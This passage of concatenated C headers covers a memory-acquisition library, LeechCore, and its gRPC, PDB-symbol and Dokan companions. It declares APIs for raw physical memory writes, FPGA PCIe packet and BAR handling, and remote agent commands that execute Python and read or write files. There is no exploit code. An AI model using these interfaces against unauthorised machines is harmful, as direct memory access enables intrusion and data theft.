ppMEMs ); /* * Write memory in a contiguous way. * -- hLC * -- pa * -- cb * -- pb * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL LcWrite( _In_ HANDLE hLC, _In_ QWORD pa, _In_ DWORD cb, _In_reads_(cb) PBYTE pb ); //----------------------------------------------------------------------------- // Get/Set/Command functionality may be used to query and/or update LeechCore // or its devices in various ways. //----------------------------------------------------------------------------- /* * Set an option as defined by LC_OPT_*. (R option). * -- hLC * -- fOption = LC_OPT_* * -- cbData * -- pbData * -- pcbData */ EXPORTED_FUNCTION _Success_(return) BOOL LcGetOption( _In_ HANDLE hLC, _In_ QWORD fOption, _Out_ PQWORD pqwValue ); /* * Get an option as defined by LC_OPT_*. (W option). * -- hLC * -- fOption = LC_OPT_* * -- cbData * -- pbData */ EXPORTED_FUNCTION _Success_(return) BOOL LcSetOption( _In_ HANDLE hLC, _In_ QWORD fOption, _In_ QWORD qwValue ); /* * Execute a command and retrieve a result (if any) at the same time. * NB! If *ppbDataOut contains a memory allocation on exit this should be free'd * by calling LcMemFree(). * CALLER LcFreeMem: *ppbDataOut * -- hLC * -- fCommand = LC_CMD_* * -- cbDataIn * -- pbDataIn * -- ppbDataOut * -- pcbDataOut */ EXPORTED_FUNCTION _Success_(return) BOOL LcCommand( _In_ HANDLE hLC, _In_ QWORD fCommand, _In_ DWORD cbDataIn, _In_reads_opt_(cbDataIn) PBYTE pbDataIn, _Out_opt_ PBYTE *ppbDataOut, _Out_opt_ PDWORD pcbDataOut ); #define LC_OPT_CORE_PRINTF_ENABLE 0x4000000100000000 // RW #define LC_OPT_CORE_VERBOSE 0x4000000200000000 // RW #define LC_OPT_CORE_VERBOSE_EXTRA 0x4000000300000000 // RW #define LC_OPT_CORE_VERBOSE_EXTRA_TLP 0x4000000400000000 // RW #define LC_OPT_CORE_VERSION_MAJOR 0x4000000500000000 // R #define LC_OPT_CORE_VERSION_MINOR 0x4000000600000000 // R #define LC_OPT_CORE_VERSION_REVISION 0x4000000700000000 // R #define LC_OPT_CORE_ADDR_MAX 0x1000000800000000 // R #define LC_OPT_CORE_STATISTICS_CALL_COUNT 0x4000000900000000 // R [lo-dword: LC_STATISTICS_ID_*] #define LC_OPT_CORE_STATISTICS_CALL_TIME 0x4000000a00000000 // R [lo-dword: LC_STATISTICS_ID_*] #define LC_OPT_CORE_VOLATILE 0x1000000b00000000 // R #define LC_OPT_CORE_READONLY 0x1000000c00000000 // R #define LC_OPT_MEMORYINFO_VALID 0x0200000100000000 // R #define LC_OPT_MEMORYINFO_FLAG_32BIT 0x0200000300000000 // R #define LC_OPT_MEMORYINFO_FLAG_PAE 0x0200000400000000 // R #define LC_OPT_MEMORYINFO_ARCH 0x0200001200000000 // R - LC_ARCH_TP #define LC_OPT_MEMORYINFO_OS_VERSION_MINOR 0x0200000500000000 // R #define LC_OPT_MEMORYINFO_OS_VERSION_MAJOR 0x0200000600000000 // R #define LC_OPT_MEMORYINFO_OS_DTB 0x0200000700000000 // R #define LC_OPT_MEMORYINFO_OS_PFN 0x0200000800000000 // R #define LC_OPT_MEMORYINFO_OS_PsLoadedModuleList 0x0200000900000000 // R #define LC_OPT_MEMORYINFO_OS_PsActiveProcessHead 0x0200000a00000000 // R #define LC_OPT_MEMORYINFO_OS_MACHINE_IMAGE_TP 0x0200000b00000000 // R #define LC_OPT_MEMORYINFO_OS_NUM_PROCESSORS 0x0200000c00000000 // R #define LC_OPT_MEMORYINFO_OS_SYSTEMTIME 0x0200000d00000000 // R #define LC_OPT_MEMORYINFO_OS_UPTIME 0x0200000e00000000 // R #define LC_OPT_MEMORYINFO_OS_KERNELBASE 0x0200000f00000000 // R #define LC_OPT_MEMORYINFO_OS_KERNELHINT 0x0200001000000000 // R #define LC_OPT_MEMORYINFO_OS_KdDebuggerDataBlock 0x0200001100000000 // R #define LC_OPT_FPGA_PROBE_MAXPAGES 0x0300000100000000 // RW #define LC_OPT_FPGA_MAX_SIZE_RX 0x0300000300000000 // RW #define LC_OPT_FPGA_MAX_SIZE_TX 0x0300000400000000 // RW #define LC_OPT_FPGA_DELAY_PROBE_READ 0x0300000500000000 // RW - uS #define LC_OPT_FPGA_DELAY_PROBE_WRITE 0x0300000600000000 // RW - uS #define LC_OPT_FPGA_DELAY_WRITE 0x0300000700000000 // RW - uS #define LC_OPT_FPGA_DELAY_READ 0x0300000800000000 // RW - uS #define LC_OPT_FPGA_RETRY_ON_ERROR 0x0300000900000000 // RW #define LC_OPT_FPGA_DEVICE_ID 0x0300008000000000 // RW - bus:dev:fn (ex: 04:00.0 == 0x0400). #define LC_OPT_FPGA_FPGA_ID 0x0300008100000000 // R #define LC_OPT_FPGA_VERSION_MAJOR 0x0300008200000000 // R #define LC_OPT_FPGA_VERSION_MINOR 0x0300008300000000 // R #define LC_OPT_FPGA_ALGO_TINY 0x0300008400000000 // RW - 1/0 use tiny 128-byte/tlp read algorithm. #define LC_OPT_FPGA_ALGO_SYNCHRONOUS 0x0300008500000000 // RW - 1/0 use synchronous (old) read algorithm. #define LC_OPT_FPGA_CFGSPACE_XILINX 0x0300008600000000 // RW - [lo-dword: register address in bytes] [bytes: 0-3: data, 4-7: byte_enable(if wr/set); top bit = cfg_mgmt_wr_rw1c_as_rw] #define LC_OPT_FPGA_TLP_READ_CB_WITHINFO 0x0300009000000000 // RW - 1/0 call TLP read callback with additional string info in szInfo #define LC_OPT_FPGA_TLP_READ_CB_FILTERCPL 0x0300009100000000 // RW - 1/0 call TLP read callback with memory read completions from read calls filtered #define LC_CMD_FPGA_PCIECFGSPACE 0x0000010300000000 // R #define LC_CMD_FPGA_CFGREGPCIE 0x0000010400000000 // RW - [lo-dword: register address] #define LC_CMD_FPGA_CFGREGCFG 0x0000010500000000 // RW - [lo-dword: register address] #define LC_CMD_FPGA_CFGREGDRP 0x0000010600000000 // RW - [lo-dword: register address] #define LC_CMD_FPGA_CFGREGCFG_MARKWR 0x0000010700000000 // W - write with mask [lo-dword: register address] [bytes: 0-1: data, 2-3: mask] #define LC_CMD_FPGA_CFGREGPCIE_MARKWR 0x0000010800000000 // W - write with mask [lo-dword: register address] [bytes: 0-1: data, 2-3: mask] #define LC_CMD_FPGA_CFGREG_DEBUGPRINT 0x0000010a00000000 // N/A #define LC_CMD_FPGA_PROBE 0x0000010b00000000 // RW #define LC_CMD_FPGA_CFGSPACE_SHADOW_RD 0x0000010c00000000 // R #define LC_CMD_FPGA_CFGSPACE_SHADOW_WR 0x0000010d00000000 // W - [lo-dword: config space write base address] #define LC_CMD_FPGA_TLP_WRITE_SINGLE 0x0000011000000000 // W - write single tlp BYTE:s #define LC_CMD_FPGA_TLP_WRITE_MULTIPLE 0x0000011100000000 // W - write multiple LC_TLP:s #define LC_CMD_FPGA_TLP_TOSTRING 0x0000011200000000 // RW - convert single TLP to LPSTR; *pcbDataOut includes NULL terminator. #define LC_CMD_FPGA_TLP_CONTEXT 0x2000011400000000 // W - set/unset TLP user-defined context to be passed to callback function. (pbDataIn == LPVOID user context). [not remote]. #define LC_CMD_FPGA_TLP_CONTEXT_RD 0x2000011b00000000 // R - get TLP user-defined context to be passed to callback function. [not remote]. #define LC_CMD_FPGA_TLP_FUNCTION_CALLBACK 0x2000011500000000 // W - set/unset TLP callback function (pbDataIn == PLC_TLP_CALLBACK). [not remote]. #define LC_CMD_FPGA_TLP_FUNCTION_CALLBACK_RD 0x2000011c00000000 // R - get TLP callback function. [not remote]. #define LC_CMD_FPGA_BAR_CONTEXT 0x2000012000000000 // W - set/unset BAR user-defined context to be passed to callback function. (pbDataIn == LPVOID user context). [not remote]. #define LC_CMD_FPGA_BAR_CONTEXT_RD 0x2000012100000000 // R - get BAR user-defined context to be passed to callback function. [not remote]. #define LC_CMD_FPGA_BAR_FUNCTION_CALLBACK 0x2000012200000000 // W - set/unset BAR callback function (pbDataIn == PLC_BAR_CALLBACK). [not remote]. #define LC_CMD_FPGA_BAR_FUNCTION_CALLBACK_RD 0x2000012300000000 // R - get BAR callback function. [not remote]. #define LC_CMD_FPGA_BAR_INFO 0x0000012400000000 // R - get BAR info (pbDataOut == LC_BAR_INFO[6]). #define LC_CMD_FILE_DUMPHEADER_GET 0x0000020100000000 // R #define LC_CMD_STATISTICS_GET 0x4000010000000000 // R #define LC_CMD_MEMMAP_GET 0x4000020000000000 // R - MEMMAP as LPSTR #define LC_CMD_MEMMAP_SET 0x4000030000000000 // W - MEMMAP as LPSTR #define LC_CMD_MEMMAP_GET_STRUCT 0x4000040000000000 // R - MEMMAP as LC_MEMMAP_ENTRY[] #define LC_CMD_MEMMAP_SET_STRUCT 0x4000050000000000 // W - MEMMAP as LC_MEMMAP_ENTRY[] #define LC_CMD_AGENT_EXEC_PYTHON 0x8000000100000000 // RW - [lo-dword: optional timeout in ms] #define LC_CMD_AGENT_EXIT_PROCESS 0x8000000200000000 // - [lo-dword: process exit code] #define LC_CMD_AGENT_VFS_LIST 0x8000000300000000 // RW #define LC_CMD_AGENT_VFS_READ 0x8000000400000000 // RW #define LC_CMD_AGENT_VFS_WRITE 0x8000000500000000 // RW #define LC_CMD_AGENT_VFS_OPT_GET 0x8000000600000000 // RW #define LC_CMD_AGENT_VFS_OPT_SET 0x8000000700000000 // RW #define LC_CMD_AGENT_VFS_INITIALIZE 0x8000000800000000 // RW #define LC_CMD_AGENT_VFS_CONSOLE 0x8000000900000000 // RW #define LC_CMD_AGENT_VFS_REQ_VERSION 0xfeed0001 #define LC_CMD_AGENT_VFS_RSP_VERSION 0xfeee0001 #define LC_STATISTICS_VERSION 0xe1a10002 #define LC_STATISTICS_ID_OPEN 0x00 #define LC_STATISTICS_ID_READ 0x01 #define LC_STATISTICS_ID_READSCATTER 0x02 #define LC_STATISTICS_ID_WRITE 0x03 #define LC_STATISTICS_ID_WRITESCATTER 0x04 #define LC_STATISTICS_ID_GETOPTION 0x05 #define LC_STATISTICS_ID_SETOPTION 0x06 #define LC_STATISTICS_ID_COMMAND 0x07 #define LC_STATISTICS_ID_MAX 0x07 typedef struct tdLC_CMD_AGENT_VFS_REQ { DWORD dwVersion; DWORD _FutureUse; CHAR uszPathFile[2*MAX_PATH]; // file path to list/read/write union { QWORD qwOffset; // offset to read/write QWORD fOption; // option to get/set (qword data in *pb) }; DWORD dwLength; // length to read DWORD cb; BYTE pb[0]; } LC_CMD_AGENT_VFS_REQ, *PLC_CMD_AGENT_VFS_REQ; typedef struct tdLC_CMD_AGENT_VFS_RSP { DWORD dwVersion; DWORD dwStatus; // ntstatus of read/write DWORD cbReadWrite; // number of bytes read/written DWORD _FutureUse[2]; DWORD cb; BYTE pb[0]; } LC_CMD_AGENT_VFS_RSP, *PLC_CMD_AGENT_VFS_RSP; static LPCSTR LC_STATISTICS_NAME[] = { "LcOpen", "LcRead", "LcReadScatter", "LcWrite", "LcWriteScatter", "LcGetOption", "LcSetOption", "LcCommand", }; typedef struct tdLC_STATISTICS { DWORD dwVersion; DWORD _Reserved; QWORD qwFreq; struct { QWORD c; QWORD tm; // total time in qwFreq ticks } Call[LC_STATISTICS_ID_MAX + 1]; } LC_STATISTICS, *PLC_STATISTICS; typedef struct tdLC_MEMMAP_ENTRY { QWORD pa; QWORD cb; QWORD paRemap; } LC_MEMMAP_ENTRY, *PLC_MEMMAP_ENTRY; typedef enum tdLC_ARCH_TP { LC_ARCH_NA = 0, LC_ARCH_X86 = 1, LC_ARCH_X86PAE = 2, LC_ARCH_X64 = 3, LC_ARCH_ARM64 = 4, } LC_ARCH_TP; //----------------------------------------------------------------------------- // RAW TLP READ/WRITE SUPPORT: //----------------------------------------------------------------------------- /* * TLP structure to be used with LC_CMD_FPGA_TLP_WRITE_MULTIPLE. */ typedef struct tdLC_TLP { DWORD cb; DWORD _Reserved1; PBYTE pb; } LC_TLP, *PLC_TLP; /* * Custom FPGA callback function called when a TLP is received. * Callback function set by command LC_CMD_FPGA_TLP_FUNCTION_CALLBACK. * User-defined context is set by command: LC_CMD_FPGA_TLP_CONTEXT. */ typedef VOID(*PLC_TLP_FUNCTION_CALLBACK)( _In_opt_ PVOID ctx, _In_ DWORD cbTlp, _In_ PBYTE pbTlp, _In_opt_ DWORD cbInfo, _In_opt_ LPSTR szInfo ); #define LC_TLP_FUNCTION_CALLBACK_DISABLE (PLC_TLP_FUNCTION_CALLBACK)(NULL) #define LC_TLP_FUNCTION_CALLBACK_DUMMY (PLC_TLP_FUNCTION_CALLBACK)(-1) //----------------------------------------------------------------------------- // VMM (VM) LOOPBACK SUPPORT: // Functionality is used to create a VMM loopback device which is used by VMM // to read and write memory to/from a virtual machine. See VMM for an example. // Struct is passed in the 'hlcvmm' parameter to LcCreate() and will be copied. //----------------------------------------------------------------------------- #define LC_VMM_VERSION 0x1eef0001 typedef struct tdLC_VMM { DWORD dwVersion; HANDLE hVMM; HANDLE hVMMVM; PVOID pfnVMMDLL_ConfigGet; PVOID pfnVMMDLL_VmMemReadScatter; PVOID pfnVMMDLL_VmMemWriteScatter; } LC_VMM, *PLC_VMM; //----------------------------------------------------------------------------- // PCIE BAR SUPPORT: //----------------------------------------------------------------------------- typedef struct tdLC_BAR { BOOL fValid; BOOL fIO; BOOL f64Bit; BOOL fPrefetchable; DWORD _Filler[3]; DWORD iBar; QWORD pa; QWORD cb; } LC_BAR, *PLC_BAR; typedef struct tdLC_BAR_REQUEST { PVOID ctx; // user context (set by command LC_CMD_FPGA_BAR_CONTEXT) PLC_BAR pBar; // BAR info BYTE bTag; // TLP tag (0-255) BYTE bFirstBE; // First byte enable (0-3) [relevant for writes] BYTE bLastBE; // Last byte enable (0-3) [relevant for writes] BYTE _Filler; BOOL f64; // 64-bit bar access (false = 32-bit) BOOL fRead; // BAR read request, called function should update pbData with read data and set fReadReply = TRUE on success. BOOL fReadReply; // Read success - should be updated by called function upon read success (after updating pbData). BOOL fWrite; // BAR write request (no reply should be sent, check byte-enables bFirstBE/bLastBE) DWORD cbData; // number of bytes to read/write QWORD oData; // data offset in BAR. BYTE pbData[4096]; // bytes to write or read data (to be updated by called function). } LC_BAR_REQUEST, *PLC_BAR_REQUEST; /* * Custom FPGA callback function to be called when BAR read/write is received. * Callback function set by command LC_CMD_FPGA_BAR_FUNCTION_CALLBACK. * User-defined context is set by command: LC_CMD_FPGA_BAR_CONTEXT. * Read reply is sent by updating pbData with read data and fReadReply = TRUE. * To return Unsupported Request (UR) set fReadReply = FALSE on a MRd request. */ typedef VOID(*PLC_BAR_FUNCTION_CALLBACK)(_Inout_ PLC_BAR_REQUEST pBarRequest); #define LC_BAR_FUNCTION_CALLBACK_DISABLE (PLC_BAR_FUNCTION_CALLBACK)(NULL) #define LC_BAR_FUNCTION_CALLBACK_ZEROBAR (PLC_BAR_FUNCTION_CALLBACK)(-1) #ifdef __cplusplus } #endif /* __cplusplus */ #endif /* __LEECHCORE_H__ */ ``` `includes/leechgrpc.h`: ```h // leechgrpc.h : external header of the libleechgrpc library. // // libleechgrpc is a library used by LeechCore to communicate with a LeechAgent // gRPC server. The library provides functions to create a gRPC client and // server, submit commands to the server, and handle incoming commands. // // libleechgrpc offers a platform-independent way to communicate with remote // LeechAgent instances, using gRPC as the underlying communication protocol. // The library supports both insecure and secure connections, with secure // connections using mTLS. // // For more information visit the project page at: // https://github.com/ufrisk/libleechgrpc // // (c) Ulf Frisk, 2025 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __LEECHGRPC_H__ #define __LEECHGRPC_H__ #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ #define LEECHGRPC_MESSAGE_SIZE_MAX (64*1024*1024) #define LEECHGRPC_CLIENT_TIMEOUT_MS (5000) #ifdef _WIN32 #include #define LEECHGRPC_EXPORTED_FUNCTION __declspec(dllexport) #endif /* _WIN32 */ #if defined(LINUX) || defined(MACOS) #include #include #define LEECHGRPC_EXPORTED_FUNCTION __attribute__((visibility("default"))) typedef void VOID, *PVOID, *HANDLE; typedef size_t SIZE_T; typedef uint32_t DWORD, BOOL; typedef uint8_t BYTE, *PBYTE; typedef char CHAR, *LPSTR; typedef const char *LPCSTR; #define _Success_(x) #define _In_ #define _Out_ #define _In_opt_ #endif /* LINUX || MACOS */ typedef void *LEECHGRPC_CLIENT_HANDLE, *LEECHGRPC_SERVER_HANDLE; //----------------------------------------------------------------------------- // LeechgRPC Client API: //----------------------------------------------------------------------------- /* * Submit a command to the gRPC server. * -- hGRPC: Handle to the gRPC client. * -- pbIn: Pointer to the input buffer. * -- cbIn: Size of the input buffer. * -- ppbOut: Pointer to receive the output buffer. The caller is responsible for freeing this buffer with LocalFree/free. * -- pcbOut: Pointer to receive the size of the output buffer. * -- return: TRUE if the command was successfully submitted; otherwise, FALSE. */ LEECHGRPC_EXPORTED_FUNCTION _Success_(return) BOOL leechgrpc_client_submit_command( _In_ LEECHGRPC_CLIENT_HANDLE hGRPC, _In_ PBYTE pbIn, _In_ SIZE_T cbIn, _Out_ PBYTE *ppbOut, _Out_ SIZE_T *pcbOut ); typedef BOOL(*pfn_leechgrpc_client_submit_command)( _In_ LEECHGRPC_CLIENT_HANDLE hGRPC, _In_ PBYTE pbIn, _In_ SIZE_T cbIn, _Out_ PBYTE *ppbOut, _Out_ SIZE_T *pcbOut ); /* * Free the gRPC client connection. * -- hGRPC: Handle to the gRPC client. */ LEECHGRPC_EXPORTED_FUNCTION VOID leechgrpc_client_free( _In_ LEECHGRPC_CLIENT_HANDLE hGRPC ); typedef VOID(*pfn_leechgrpc_client_free)( _In_ LEECHGRPC_CLIENT_HANDLE hGRPC ); /* * Create an insecure unauthenticated unencrypted gRPC client connection to the gRPC server. * -- pszAddress: Address of the gRPC server. * -- dwPort: Port of the gRPC server. * -- return: Handle to the gRPC client connection, or NULL on failure. */ LEECHGRPC_EXPORTED_FUNCTION _Success_(return != NULL) LEECHGRPC_CLIENT_HANDLE leechgrpc_client_create_insecure( _In_ LPCSTR szAddress, _In_ DWORD dwPort ); typedef LEECHGRPC_CLIENT_HANDLE(*pfn_leechgrpc_client_create_insecure)( _In_ LPCSTR szAddress, _In_ DWORD dwPort ); /* * Create a gRPC client connection to the gRPC server with mTLS. * -- pszAddress: Address of the gRPC server. * -- dwPort: Port of the gRPC server. * -- szTlsServerHostnameOverride: Optional hostname to verify against the server certificate (if different from address). * -- szTlsServerCertPath: Server CA certificate to trust for mTLS connections. * -- szTlsClientP12Path: Path to the client's TLS certificate (incl. chain) & private key (.p12 / .pfx). * -- szTlsClientP12Password: Password for the client's TLS certificate & private key (.p12 / .pfx). */ LEECHGRPC_EXPORTED_FUNCTION _Success_(return != NULL) LEECHGRPC_CLIENT_HANDLE leechgrpc_client_create_secure_p12( _In_ LPCSTR szAddress, _In_ DWORD dwPort, _In_opt_ LPCSTR szTlsServerHostnameOverride, _In_opt_ LPCSTR szTlsServerCertPath, _In_ LPCSTR szTlsClientP12Path, _In_ LPCSTR szTlsClientP12Password ); typedef LEECHGRPC_CLIENT_HANDLE(*pfn_leechgrpc_client_create_secure_p12)( _In_ LPCSTR szAddress, _In_ DWORD dwPort, _In_opt_ LPCSTR szTlsServerHostnameOverride, _In_opt_ LPCSTR szTlsServerCertPath, _In_ LPCSTR szTlsClientP12Path, _In_ LPCSTR szTlsClientP12Password ); /* * Create a gRPC client connection to the gRPC server with mTLS. * -- pszAddress: Address of the gRPC server. * -- dwPort: Port of the gRPC server. * -- szTlsServerHostnameOverride: Optional hostname to verify against the server certificate (if different from address). * -- szTlsServerCert: Server CA certificate to trust for mTLS connections. * -- szTlsClientCert: Cerver TLS certificate. * -- szTlsClientCertPrivateKey: Client TLS certificate private key. */ LEECHGRPC_EXPORTED_FUNCTION _Success_(return != NULL) LEECHGRPC_CLIENT_HANDLE leechgrpc_client_create_secure_pemraw( _In_ LPCSTR szAddress, _In_ DWORD dwPort, _In_opt_ LPCSTR szTlsServerHostnameOverride, _In_opt_ LPCSTR szTlsServerCert, _In_ LPCSTR szTlsClientCert, _In_ LPCSTR szTlsClientCertPrivateKey ); typedef LEECHGRPC_CLIENT_HANDLE(*pfn_leechgrpc_client_create_secure_pemraw)( _In_ LPCSTR szAddress, _In_ DWORD dwPort, _In_opt_ LPCSTR szTlsServerHostnameOverride, _In_opt_ LPCSTR szTlsServerCert, _In_ LPCSTR szTlsClientCert, _In_ LPCSTR szTlsClientCertPrivateKey ); /* * Create a gRPC client connection to the gRPC server with mTLS. * -- pszAddress: Address of the gRPC server. * -- dwPort: Port of the gRPC server. * -- szTlsServerHostnameOverride: Optional hostname to verify against the server certificate (if different from address). * -- szTlsServerCertPath: Server CA certificate to trust for mTLS connections. * -- szTlsClientCertPath: Cerver TLS certificate. * -- szTlsClientCertPrivateKeyPath: Client TLS certificate private key. */ LEECHGRPC_EXPORTED_FUNCTION _Success_(return != NULL) LEECHGRPC_CLIENT_HANDLE leechgrpc_client_create_secure_pemfile( _In_ LPCSTR szAddress, _In_ DWORD dwPort, _In_opt_ LPCSTR szTlsServerHostnameOverride, _In_opt_ LPCSTR szTlsServerCertPath, _In_ LPCSTR szTlsClientCertPath, _In_ LPCSTR szTlsClientCertPrivateKeyPath ); typedef LEECHGRPC_CLIENT_HANDLE(*pfn_leechgrpc_client_create_secure_pemfile)( _In_ LPCSTR szAddress, _In_ DWORD dwPort, _In_opt_ LPCSTR szTlsServerHostnameOverride, _In_opt_ LPCSTR szTlsServerCertPath, _In_ LPCSTR szTlsClientCertPath, _In_ LPCSTR szTlsClientCertPrivateKeyPath ); //----------------------------------------------------------------------------- // LeechgRPC Server API: //----------------------------------------------------------------------------- /* * Callback function used to pass on a command received by the gRPC server. * -- pbIn: Pointer to the input buffer. * -- cbIn: Size of the input buffer. * -- ppbOut: Pointer to receive the output buffer allocated by the callback function, freed by the caller. * -- pcbOut: Pointer to receive the size of the output buffer. */ typedef VOID(*PFN_RESERVED_SUBMIT_COMMAND_CB)(_In_opt_ PVOID ctx, _In_ PBYTE pbIn, _In_ SIZE_T cbIn, _Out_ PBYTE *ppbOut, _Out_ SIZE_T *pcbOut); /* * Wait for the gRPC server to shutdown. * -- hGRPC: Handle to the gRPC server. */ LEECHGRPC_EXPORTED_FUNCTION VOID leechgrpc_server_wait(_In_ LEECHGRPC_SERVER_HANDLE hGRPC); typedef VOID(*pfn_leechgrpc_server_wait)(_In_ LEECHGRPC_SERVER_HANDLE hGRPC); /* * Shut down the gRPC server. * -- hGRPC: Handle to the gRPC server. */ LEECHGRPC_EXPORTED_FUNCTION VOID leechgrpc_server_shutdown(_In_ LEECHGRPC_SERVER_HANDLE hGRPC); typedef VOID(*pfn_leechgrpc_server_shutdown)(_In_ LEECHGRPC_SERVER_HANDLE hGRPC); /* * Create an insecure gRPC server without any authentication / encryption. * -- szAddress: Address to listen on, e.g., "localhost" or "0.0.0.0". * -- dwPort: Port to listen on. * -- pfnReservedSubmitCommandCB: Callback function to handle incoming commands. * -- return: Handle to the gRPC server, or NULL on failure. */ LEECHGRPC_EXPORTED_FUNCTION _Success_(return != NULL) LEECHGRPC_SERVER_HANDLE leechgrpc_server_create_insecure( _In_ LPCSTR szAddress, _In_ DWORD dwPort, _In_opt_ PVOID ctx, _In_ PFN_RESERVED_SUBMIT_COMMAND_CB pfnReservedSubmitCommandCB ); typedef LEECHGRPC_SERVER_HANDLE(*pfn_leechgrpc_server_create_insecure)( _In_ LPCSTR szAddress, _In_ DWORD dwPort, _In_opt_ PVOID ctx, _In_ PFN_RESERVED_SUBMIT_COMMAND_CB pfnReservedSubmitCommandCB ); /* * Create a gRPC server with mTLS. * -- szAddress: Address to listen on, e.g., "localhost" or " * -- dwPort: Port to listen on. * -- ctx: Optional context to pass to the callback function. * -- pfnReservedSubmitCommandCB: Callback function to handle incoming commands. * -- szTlsClientCertPath: Client CA certificate to trust for mTLS connections. * -- szTlsServerP12Path: Path to the server's TLS certificate (incl. chain) & private key (.p12 / .pfx). * -- szTlsServerP12Password: Password for the server's TLS certificate & private key (.p12 / .pfx). * -- return: Handle to the gRPC server, or NULL on failure. */ LEECHGRPC_EXPORTED_FUNCTION _Success_(return != NULL) LEECHGRPC_SERVER_HANDLE leechgrpc_server_create_secure_p12( _In_ LPCSTR szAddress, _In_ DWORD dwPort, _In_opt_ PVOID ctx, _In_ PFN_RESERVED_SUBMIT_COMMAND_CB pfnReservedSubmitCommandCB, _In_ LPCSTR szTlsClientCertPath, _In_ LPCSTR szTlsServerP12Path, _In_ LPCSTR szTlsServerP12Password ); typedef LEECHGRPC_SERVER_HANDLE(*pfn_leechgrpc_server_create_secure_p12)( _In_ LPCSTR szAddress, _In_ DWORD dwPort, _In_opt_ PVOID ctx, _In_ PFN_RESERVED_SUBMIT_COMMAND_CB pfnReservedSubmitCommandCB, _In_ LPCSTR szTlsClientCertPath, _In_ LPCSTR szTlsServerP12Path, _In_ LPCSTR szTlsServerP12Password ); /* * Create a gRPC server with mTLS. * -- szAddress: Address to listen on, e.g., "localhost" or " * -- dwPort: Port to listen on. * -- ctx: Optional context to pass to the callback function. * -- pfnReservedSubmitCommandCB: Callback function to handle incoming commands. * -- szTlsClientCert: Client CA certificate to trust for mTLS connections. * -- szTlsServerCert: Server TLS certificate (incl. chain). * -- szTlsServerCertPrivateKey: Server TLS certificate private key. * -- return: Handle to the gRPC server, or NULL on failure. */ LEECHGRPC_EXPORTED_FUNCTION _Success_(return != NULL) LEECHGRPC_SERVER_HANDLE leechgrpc_server_create_secure_pemraw( _In_ LPCSTR szAddress, _In_ DWORD dwPort, _In_opt_ PVOID ctx, _In_ PFN_RESERVED_SUBMIT_COMMAND_CB pfnReservedSubmitCommandCB, _In_ LPCSTR szTlsClientCert, _In_ LPCSTR szTlsServerCert, _In_ LPCSTR szTlsServerCertPrivateKey ); typedef LEECHGRPC_SERVER_HANDLE(*pfn_leechgrpc_server_create_secure_pemraw)( _In_ LPCSTR szAddress, _In_ DWORD dwPort, _In_opt_ PVOID ctx, _In_ PFN_RESERVED_SUBMIT_COMMAND_CB pfnReservedSubmitCommandCB, _In_ LPCSTR szTlsClientCert, _In_ LPCSTR szTlsServerCert, _In_ LPCSTR szTlsServerCertPrivateKey ); /* * Create a gRPC server with mTLS. * -- szAddress: Address to listen on, e.g., "localhost" or " * -- dwPort: Port to listen on. * -- ctx: Optional context to pass to the callback function. * -- pfnReservedSubmitCommandCB: Callback function to handle incoming commands. * -- szTlsClientCertPath: Client CA certificate to trust for mTLS connections. * -- szTlsServerCertPath: Server TLS certificate (incl. chain). * -- szTlsServerCertPrivateKeyPath: Server TLS certificate private key. * -- return: Handle to the gRPC server, or NULL on failure. */ LEECHGRPC_EXPORTED_FUNCTION _Success_(return != NULL) LEECHGRPC_SERVER_HANDLE leechgrpc_server_create_secure_pemfile( _In_ LPCSTR szAddress, _In_ DWORD dwPort, _In_opt_ PVOID ctx, _In_ PFN_RESERVED_SUBMIT_COMMAND_CB pfnReservedSubmitCommandCB, _In_ LPCSTR szTlsClientCertPath, _In_ LPCSTR szTlsServerCertPath, _In_ LPCSTR szTlsServerCertPrivateKeyPath ); typedef LEECHGRPC_SERVER_HANDLE(*pfn_leechgrpc_server_create_secure_pemfile)( _In_ LPCSTR szAddress, _In_ DWORD dwPort, _In_opt_ PVOID ctx, _In_ PFN_RESERVED_SUBMIT_COMMAND_CB pfnReservedSubmitCommandCB, _In_ LPCSTR szTlsClientCertPath, _In_ LPCSTR szTlsServerCertPath, _In_ LPCSTR szTlsServerCertPrivateKeyPath ); #ifdef __cplusplus } #endif /* __cplusplus */ #endif /* __LEECHGRPC_H__ */ ``` `includes/libpdbcrust.h`: ```h // C library wrapper around the rust PDB crate and related useful utilities. // // (c) Ulf Frisk, 2023 // Author: Ulf Frisk, pcileech@frizk.net // // Licensed under the Apache License, Version 2.0, or the MIT license , at your option. This file may not be // copied, modified, or distributed except according to those terms. // #include #include /* * Open a PDB file given its full path and return a handle to it. * The handle should be closed by calling pdbcrust_close(). */ size_t pdbcrust_open( char *sz_pdb_full_path ); /* * Close a PDB handle and free its resources. */ void pdbcrust_close( size_t hnd ); /* * Ensure that a PDB file exists on the specified path and upon success return * the full file path in sz_pdb_path_result. If the PDB file does not exist it * may optionally be downloaded from the Microsoft symbol server. * -- sz_pdb_basepath = base path (directory must exist). * -- sz_pdb_guidage = the combined GUID+AGE in uppercase hexascii string. * -- sz_pdb_name = the pdb file name. * -- is_mspdb_download = download the PDB from the microsoft symbol server. * -- len_path_path_result = byte length of sz_pdb_path_result. * -- sz_pdb_path_result = buffer to receive full pdb file path on success. * -- return */ bool pdbcrust_pdb_download_ensure( char *sz_pdb_basepath, char *sz_pdb_guidage, char *sz_pdb_name, bool is_mspdb_download, size_t len_path_path_result, char *sz_pdb_path_result ); /* * Retrieve a symbol offset given a symbol name. * -- hnd * -- sz_symbol_name = the symbol name to retrieve * -- return = the symbol offset on success. zero on fail. */ unsigned int pdbcrust_symbol_offset( size_t hnd, char *sz_symbol_name ); /* * Retrieve a symbol name given an offset. * -- hnd * -- symbol_offset = the symbol offset. * -- len_symbol_name * -- sz_symbol_name * -- displacement = the displacement, currently not functional. * -- return */ bool pdbcrust_symbol_name_from_offset( size_t hnd, unsigned int symbol_offset, size_t len_symbol_name, char *sz_symbol_name, unsigned int *displacement ); /* * Retrieve the size of a type / struct. * -- hnd * -- sz_type_name * -- return = the type size on success, 0 on fail. */ unsigned int pdbcrust_type_size( size_t hnd, char *sz_type_name ); /* * Retrieve the child offset inside a type/struct. * -- hnd * -- sz_type_name * -- sz_type_child * -- offset_type_child = ptr to receive the child offset on success. * -- return */ bool pdbcrust_type_child_offset( size_t hnd, char *sz_type_name, char *sz_type_child, unsigned int *offset_type_child ); ``` `includes/public.h`: ```h /* Dokan : user-mode file system library for Windows Copyright (C) 2017 - 2021 Google, Inc. Copyright (C) 2015 - 2019 Adrien J. and Maxime C. 